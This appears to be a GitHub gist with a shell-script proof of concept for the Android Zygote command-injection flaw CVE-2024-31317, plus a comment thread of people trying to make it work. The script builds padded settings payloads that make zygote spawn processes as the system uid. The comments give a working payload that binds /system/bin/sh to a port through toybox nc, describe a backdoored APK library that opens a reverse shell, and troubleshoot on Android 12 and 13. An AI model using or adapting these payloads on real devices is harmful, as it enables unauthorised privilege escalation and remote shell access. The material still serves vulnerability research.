-
-
Save rabits/ecae96c256cb25726b2bb92c73f9c081 to your computer and use it in GitHub Desktop.
| #!/bin/sh | |
| # PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317: | |
| # https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html | |
| # | |
| # USAGE (android 13, with pre-13 use 12200 instead of 32768): | |
| # host$ adb push payload.sh /sdcard/ | |
| # host$ adb shell | |
| # shell$ logcat -c; settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 \ | |
| # --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \ | |
| # --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \ | |
| # --instruction-set=x86 --app-data-dir=/data/user/0/jackpal.androidterm --package-name=jackpal.androidterm --is-top-app \ | |
| # android.app.ActivityThread seq=40)"; logcat | |
| # Getting the values from parameters | |
| buffer_size=$1 | |
| shift | |
| zygote_read_abort_size=$1 | |
| shift | |
| zygote_args_len=$# | |
| # What's predefined in the executed command when execute `settings put global hidden_api_blacklist_exemptions <val>` | |
| prefix="6 --set-api-denylist-exemptions " | |
| prefix_len=$(echo -n "$prefix" | wc -c) | |
| add_chars=$(($buffer_size - $prefix_len + 2)) | |
| # For tests: echo the prefix, delete from prod: | |
| #echo "6\n--set-api-denylist-exemptions" | |
| # Making pad to fill the first buffer and amount should go in the next buffer | |
| payload=$(printf "\n\n\n\n\n%${add_chars}s" $zygote_args_len | tr ' ' A) | |
| # Printing each zygote argument to run | |
| for arg in "$@"; do | |
| payload="$payload\n$(echo "$arg")" | |
| done | |
| echo "$payload" | |
| payload_len=$(echo "$payload" | wc -c) | |
| echo -n ,,,, | |
| add_chars=$(($buffer_size*2 - ($prefix_len + $payload_len) - 1)) | |
| printf "%${add_chars}s" 'X' | tr ' ' 'X' | |
| echo E |
you could achieve system shell by installing an apk with a backdoor ELF lib.so that spawn a reverse shell and connect back to you
just compile a program, rename it to some-lib-name.so, throw it in jniLibs in android studio, build and install that apk so it would be placed in /data/app/some-random-string-in-android/package-name-other-randomstring/lib/your-device-architect/some-lib-name.so, you could get the random string by using pm list packages -f package-name in adb
with that reverse shell use the payload.sh to generate appropriate --uid, --seinfo, and using --invoke-with that point directly to some-lib-name.so, you would get a shell for such uid
Found those papers about the CVE but still was unable to complete the final step:
- https://blog.flanker017.me/the-new-mystique-bug-cve-2024-31317/ ( https://blog-flanker017-me.translate.goog/the-new-mystique-bug-cve-2024-31317/?_x_tr_sl=zh-TW&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp )
- https://github.com/fuhei/CVE-2024-31317 (https://github-com.translate.goog/fuhei/CVE-2024-31317?_x_tr_sl=zh-TW&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp )
- https://www.lovei.org/archives/cve-2024-31317.html
Is the count of commas at the end always 4 or multiplicatively related between buffer size and cutoff size?
Is the count of commas at the end always 4 or multiplicatively related between buffer size and cutoff size?
The commas are there to split the entries, `arg count' = number of entries + 1, you could see their usage in the original blog
To make this outcome more likely, we can insert a large number of commas at the end of our setting value, causing maybeSetApiDenylistExemptions() to spend time looping after the first write but before the second. Those commas also increase the legitimate command’s argument count, but that’s not a problem as long as we ensure the first 8192 bytes contain at least that many newlines.
You could build the payload with the proof-of-concept section in the original blog (https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html#h-appendix-proof-of-concept)
I was trying to run a service using this exploit which would have some method to perform privileged functions and then return the response. This service could be then called by a custom non-privileged application during runtime achieve privilege function calls and show the result on the UI. Is anyone able to achieve this or anything similar?
Following this - https://blog.flanker017.me/cve-2024-31317/
I tried to do something like this
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
18
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=hello_world_zygote
--seinfo=platform:system_app:targetSdkVersion=29:complete
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
com.android.internal.os.WrapperInit
0
29
-cp
/data/local/tmp/classes.dex
com.test.user.helloworld.WrapperCustom
"
But it is throwing Already Cached excpetion
java.lang.IllegalStateException: Already cached. at android.app.ApplicationLoaders.createAndCacheNonBootclasspathSystemClassLoaders(ApplicationLoaders.java:148) at com.android.internal.os.ZygoteInit.cacheNonBootClasspathClassLoaders(ZygoteInit.java:374) at com.android.internal.os.ZygoteInit.preload(ZygoteInit.java:144) at com.android.internal.os.WrapperInit.main(WrapperInit.java:83) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:930)
@yash-srivastava
system uid has no access to /data/local/tmp
- has anyone solved the problem of unsyncing the zygote wire protocol on Android 11 or 10?
- has anyone gotten the 'add JDWP Flag on the fly' method to work with the full startup (not --invoke-with)?
So there is a nicely working exploit out there that works below Android 12:
https://xdaforums.com/t/system-user-fireos7-os8-all-fire-cubes-sticks-televisions-tablets.4759215/
settings put global hidden_api_blacklist_exemptions "LClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; " settings delete global hidden_api_blacklist_exemptions sleep 2 toybox nc localhost 4321
I tried to wrap this with your script after some edits, and attempted to use it on Android12. I dump hidden_api_blacklist_exemptions , it seems to have the same structure as the lower Android, but with a bunch of padding. Below is the subset of that. Anyway, A12 immediately restarts zygote, and re-inits everything. If I don't have the delete command right after - it bootloops until I manage to delete hidden_api_blacklist_exemptions.. I don't lose adb access as it's bootlooping, so there is some control. Ideas?
Here is a piece of the padded hidden_api_blacklist_exemptions after your modded script:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; ,,,,XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Hi @bibikalka1 , great to see this is helping someone) Unfortunately I'm stuck a long ago with making this PoC work for Android 13, no matter how hard I've red-eyed the original papers...
So are you saying that this PoC2 never worked on your virtual A13?
It just seems to crash zygote, and nothing more ...
On Android >11 there are additional measures implemented which needs to be mitigated. It crashes zygote if done improperly (not correct commands or padding - you can find that if will check zygote crash output). Maximum I was able to achieve is to execute command, then it passed into zygote, but was never able to properly execute a second one to steal it's pid. I suppose precise timing & control is needed, or I'm missing something crucial. And yeah, every execution of PoC I had to reboot the device, otherwise zygote stays in this corrupted state...
Well, if I can ensure that it's the same commands as A11 that are known to work, what is missing in A12/13? Can the padding be excessive?
I guess you were not able to implement this to the letter?
https://blog.flanker017.me/cve-2024-31317/
@rabits
How about his site:
https://github.com/agg23/cve-2024-31317/blob/master/explanation.md
@diabl0w are you willing to share some details on how you achieved system shell? I'd imagine it skips quite a bit of the complexity of the full app launch, but unfortunately I haven't had much success. If you prefer telegram you can find me with the same username.